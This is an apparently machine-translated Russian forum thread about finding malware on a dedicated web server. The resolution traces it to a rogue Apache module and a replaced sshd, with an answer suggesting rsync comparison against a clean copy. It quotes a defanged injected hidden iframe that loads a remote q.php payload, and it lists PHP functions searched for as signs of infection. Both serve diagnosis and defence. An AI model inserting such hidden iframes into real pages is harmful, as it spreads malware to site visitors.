РЕДАКТИРОВАТЬ: Дополнительная информация / информация о расследовании, содержащаяся в комментариях к этому сообщению
Приносим извинения за расплывчатое название - не смогли подвести итог.
Недавно я обнаружил, что один из моих сайтов рассылает вредоносное ПО. В результате я просмотрел каждый файл в httpdocs и искал что-нибудь подозрительное, то есть вызовы shell_exec, eval, base64, passthru, включает, требует, функции cookie в файлах PHP. Я также просмотрел все файлы JS в поисках подозрительных методов, кроме того, поскольку аспекты сайта построены из базы данных, которую я искал на предмет чего-либо подозрительного (с помощью функции поиска phpmyadmin db для поиска оболочки php и т. Д. И типичных вредоносных команд js)
Все без толку, просто не могу найти, где это. В результате я повторно загрузил все файлы для программного обеспечения, которое использую, и эффективно переустановил файлы сайта. Мне также было предоставлено программное обеспечение для просмотра и проверки, они тоже ничего не смогли найти.
Это оставляет меня с заключением, что что-то на более высоком уровне, то есть Apache, было скомпрометировано. Итак, вопрос в том, что я должен здесь проверить?
Я использую выделенный сервер, который обслуживает только этот сайт, и только у меня есть доступ к нему (он говорит), поэтому я могу запускать все, что необходимо для диагностики этого
Как представляет собой вредоносное ПО?
В мои теги периодически помещается следующий код:
<style>
.iqb71l { position:absolute; left:-1958px; top:-1826px}
</style>
<div class="iqb71l"><iframe src="hXXp://1.1.1.1/f72387bd1dfab35f89f1899e1be07c08/q.php" width="198" height="501"></iframe></div>
ПРИМЕЧАНИЕ. В приведенном выше примере кода я изменил http на hXXp, а IP-адрес - на 1.1.1.1.
Однако код не всегда вводится, кажется, что он добавляется случайно. Кроме того, когда в коде появляется IP-адрес, следующий за ним идентификатор и имя класса обычно отличаются.
Кроме того, ни один из сканеров вредоносного ПО (например, инструменты Google для веб-мастеров и т. Д. И т. Д.) Не обнаруживает это. Итак, я предполагаю, что это больше, чем простая инъекция, она случайным образом выбирает, когда показывать себя, она динамически выбирает адрес для инъекции и, по-видимому, невидима для рефереров сканера вредоносных программ.
Потратив много времени на Google, я не смог найти никаких подобных примеров, однако я нашел множество ссылок на веб-мастеров, спрашивающих о загадочном файле q.php, который появился на их сервере.
Выявление вредоносных программ в PHP-коде - кошмар. Но я собираюсь дать несколько основных советов, которые я почерпнул, успешно избавившись от многих из этих кошмаров.
Во-первых, есть ли у вас где-нибудь чистая версия сайта? Такие как staging версия, которая находится рядом с production версию можно сравнить с? Если да, запустите rsync с проверкой CRC dry-run режим вроде этого:
rsync -rvnc --exclude '.svn' --exclude 'xml' --exclude 'temp' --exclude 'tmp' --exclude 'cache' /clean/version/of/site/ /infected/version/of/site/
Обратите внимание, что я добавил несколько --exclude параметры, чтобы исключить проверку известных временных и кеш-каталогов.
И если у вас нет чистой копии сайта для сравнения, просто загрузите чистую инсталляционную версию программного обеспечения PHP, которое вы используете, чтобы использовать ее в качестве базы для сравнения. Допустим, у вас есть зараженный сайт WordPress? Загрузите ту же версию WordPress и проведите сравнение Rsync, как указано выше.
Проведя только сравнение Rsync CRC / Dry-Run, он помог мне отследить инфекции и сразу же их очистить. По сути, просматривайте список файлов, которые, по мнению Rsync, разные или новые, один за другим, чтобы проверить, не заражены ли они. В 9 случаях из 10 вы обнаружите, что в конец файлов вставляется код, который - за отсутствием лучшего термина - выглядит как мусор. Это будет инфекция.
Но пока не стоит похлопывать себя по спине. Изменения есть и другие инфекции. Во многих случаях по крайней мере 2 или 3 больше. Поэтому вручную просматривайте каждый файл, который Rsync объявляет другим, пока все не будет полностью очищено.
Вы не сказали, какой PHP-код является основой вашего сайта, но я бы также сразу посоветовал обновить вашу установку до последней исправленной версии программного обеспечения. Скорее всего, вы не первый, и это известная проблема, поэтому установка исправлений закроет дыры, через которые вредоносная программа проходит с самого начала.
Да, и что касается проникновения вредоносных программ в вашу базу данных, это может быть точкой входа, но чаще всего вредоносные черви проникают на ваш сайт, получая доступ пользователей через базу данных, а затем записывая вредоносные программы в кодовую базу PHP в вашей файловой системе.
Отвечая на свой вопрос здесь (что никоим образом не обесценивает ответ Джейка Гулда)
Я наконец нашел причину этого, а не рецензию, все это аккуратно резюмировано на этой странице:
Используя руководство на этой странице (и связанные статьи), я просмотрел загруженные модули Apache и обнаружил mod_view_proxy.so, который не является известным модулем Apache. Он загружался в Apache с помощью директивы LoadModule в /etc/httpd/conf.d/perl.conf. Были затронуты все файлы, поэтому отметка о дате и времени на них не выглядит подозрительно. Как упоминается в записи в блоге, SSHD также был заменен другой версией.
Что касается того, как он был взломан, не совсем уверен - предполагается, что это было вызвано запуском более старой версии vBulletin и / или одного из его плагинов (что полностью моя вина).
Также мне нужно отдать должное этим ребятам:
Как вы можете видеть из этой ветки, я исчерпал все идеи, которые у меня были, а также свои технические возможности, поэтому в крайнем случае я пошел в Сукури со всем, что я знал и делал. Да, это платная услуга, но они нашли проблему, решили ее - их обслуживание было фантастическим. Они были искренне заинтересованы в том, чтобы помочь мне разобраться в этой проблеме, а обслуживание такого уровня мы не часто видим в наши дни. Я только хвалю их и без колебаний рекомендую их любому на моем месте.